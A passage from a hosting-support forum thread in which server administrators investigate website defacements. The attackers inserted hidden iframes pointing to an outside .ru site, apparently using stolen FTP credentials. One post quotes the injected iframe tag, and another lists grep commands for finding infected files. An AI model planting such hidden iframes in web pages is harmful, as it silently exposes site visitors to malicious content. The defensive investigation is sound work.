LinkBack URL
About LinkBacksOur problem has occurred with both ProFTPd and Pure-FTPd.Originally Posted by davedark
Our problem has occurred with both ProFTPd and Pure-FTPd.
Yes.. this can be a possible cause. Servers under external Hardware firewall does not get hit. I am in conversation with DC lets see if they can help.
Hi all,
I noticed my webpage was extremely very slow opening and I noticed on the bottom status bar of the IE it was looking for the site http://stelaartois.ru/index2…. and I said that myself why it’s looking for this site? So I went to the cPanel forum and I came across to this iframe/javascript hacks? thread. I went to my cPanel and checked my index.html page and see what’s calling and because I’m using a frameset (4 frames) 2 of them had the iframe tag on the bottom as:
<IFRAME name="StatPage" src="http://stelaartois.ru/index2.php" width=5 height=5 style="display:none"></IFRAME>
I removed the iframe tag in both frames and my page came up very quickly. Now I have to spend my time to check all my html files, hopefully just the one that I used frameset, to make sure it doesn’t have this iframe tag in it.
My concern is if we are using cPanel to host our site why they didn’t stop the attack/hacks or even send us an mail and notify us that there was a hacks on their server and that we need to visit our site/cPanel manager to make sure our files are not hacked.
I hope they do something to prevent this on happening again.
This is just my one cent.
Thanks,
jj
Hello Frank,
I wonder if you're onto something here. My server does have cpSupport enabled, though I use RVSkin which uses it's own support forms, but I suspect the hacker would use the default support system if it has a weakness.
Can I get you to post the URL (without the server component by all means!) of the support form (PM it to me if you like) so that I can investigate this on my own server? If the password field is coming back pre-populated then it would be in plain text in the HTML and could easily be scraped... I'd like to see if there's a way this could be exploited.
Regards,
Steve.
What I now wonder is whether there was a cpanel update to fix this?
When I first saw the problem I immediately marked Feature Manager: Support System Submission: UnSelected again but when I now selected it again and test everything seems ok.
Tried to replicate the oroginal problem but without any success.
If it was a Cpanel exploit they will not be very eager to admit it so we can perhaps start to set this date as point from where ONLY NEW exploits should be posted?
So far I found 3 different exploits on this forum and search for it with the following commands. With php files I just get argument too long error but this will anyway cover a good part of the exploited files.
PHP Code:
grep -l 'stelaartois' /home/*/public_html/*.htm
grep -l 'stelaartois' /home/*/public_html/*.html
grep -l 'das Script' /home/*/public_html/*.htm
grep -l 'das Script' /home/*/public_html/*.html
grep -l 'trustdotnet' /home/*/public_html/*.htm
grep -l 'trustdotnet' /home/*/public_html/*.html
grep -l 'JavaScript>function dc' /home/*/public_html/*.htm
grep -l 'JavaScript>function dc' /home/*/public_html/*.html
grep -l 'stelaartois' /home/*/public_html/*/*.htm
grep -l 'stelaartois' /home/*/public_html/*/*.html
grep -l 'das Script' /home/*/public_html/*/*.htm
grep -l 'das Script' /home/*/public_html/*/*.html
grep -l 'trustdotnet' /home/*/public_html/*/*.htm
grep -l 'trustdotnet' /home/*/public_html/*/*.html
grep -l 'JavaScript>function dc' /home/*/public_html/*/*.htm
grep -l 'JavaScript>function dc' /home/*/public_html/*/*.html
Juan,
While we provide hosting software, you are hosting your site with a different company. We don't have access to the server your site is on so we would be unable to inform you of any issues with the server. You'll need to contact your web host about their specific security policies.
As a general update to this thread, we haven't seen anything yet that has pinpointed the issue. I have not experienced such defacement on the handful of servers I look over, all running cPanel.
Another question to fellow members here:
After the affected server having iframe inserted, did you change to a new root password?
if yes, did the iframe attack return again? how many accounts are affected? Was it all or just a few?
Last edited by gundamz; 05-05-2007 at 02:46 AM.
I'd have to say I'd suspect browser caching before anything else here, and even more particularly so because you now can't replicate it.
Conventional Unix philosophy is not to store passwords in plain text and as far as I know cpanel doesn't do that.
It does - cPanel and WHM passwords, email passwords, and yes, even the root password. They are (should be) only readable by root, and only stored during the time the user is logged in.
There was also an issue I discovered not long ago where random user accounts' /etc/shadow entries were being stored on the server with world readable permissions. This included non cPanel accounts (e.g., staff accounts that were manually added via adduser). This was promptly fixed with the following entry in the changelog:
"Added additional checks to ensure FTP user password file permissions."
Sorry, that was confusing ... what I meant to say was ... cpanel, like most Unix code, doesn't store passwords in plain text. That's definitely true in general although there may be the occasional slipup.
Unix (and Linux) do store passwords for verification, but they're stored as the result of a theoretically irreversible ("one-way") encryption. When a password needs to be compared it is put through the same encryption and then the result is compared - same result, same password, with no storage of the password in cleartext. Mind you, I'm sure the NSA can reverse the encryption if they have time - I don't beleive normal mortals can, yet, provided the password is strong enough.
Guys I have been lucky so far with my servers but I wanted to post some ideas here.
We have not nailed down anything common except they change the files using FTP, either FTP server pro/pure. We have not nailed down any common software except cpanel. HOWEVER there is some question about a Plesk box with same issue. There has been absolutely no (correct me if I am wrong) evidence that suggests anything was uploaded, injected or whatever through http or otherwise using similiar IP points ..not anything that jumps out. It's almost like these people have domains, usernames and some passwords and they simply run through them with a script to FTP down and back up again. So just forget about the rooting of the boxes for a minute. These are not really hacks becuase the real user and passwords are passing. We don't see 30 attempts at the same username right?
Here is what I think it is. Externally ..the domains, usernames and passwords are stored somewhere and thats' what the offenders are getting. Have you noticed when you grep for the FTPing IP address in your messages you see where they get in to several accounts ..then fail to get into another and then go on to the next username? Let's just say maybe there was a list of domains/usernames and passwords credted at teh time an account was created but not updated. It would make sense that some of the passwords would no longer be good becuase users changed them later on. Some will certianly still work. Do all of you have a common billing software? One that also works with Plesk?
This theory jumped right out at me when once I got done reading this entire thread for the first time tonight. Maybe this isn't an exploit at all on each server. If they have the keys they get right in and get out ..some keys fit and some don't .that's because some people changed the passwords.
I may be wrong but I really think it's billing software or a worm hitting stored client email boxes on local windows desktops or something else that's storing the setup data when accounst are created. I hope it's billing software ..because that's easy for you guys to compare what you use.
Just keeping my "eye" on things....
R. Paul Mathews
RPMWS - diehard cPanel Nutcase
cPanel/WHM does in fact store passwords in plain text - for logged in users.
That is quite an interesting theory rpmws, we have not been affected yet touch wood but modernbill does store the username in plain text form as it does the password. What your stating would be correct if they are using the same username and password at the time of signup those details would be available in modernbill. If they have changed the login credentials it would not allow them access.
Insert interesting theory here
Now the question is who here that's been affected uses modernbill?
I had MB at the time, but the affected account was not created in MB, nor was the password for it stored in MB.
Reply With Quote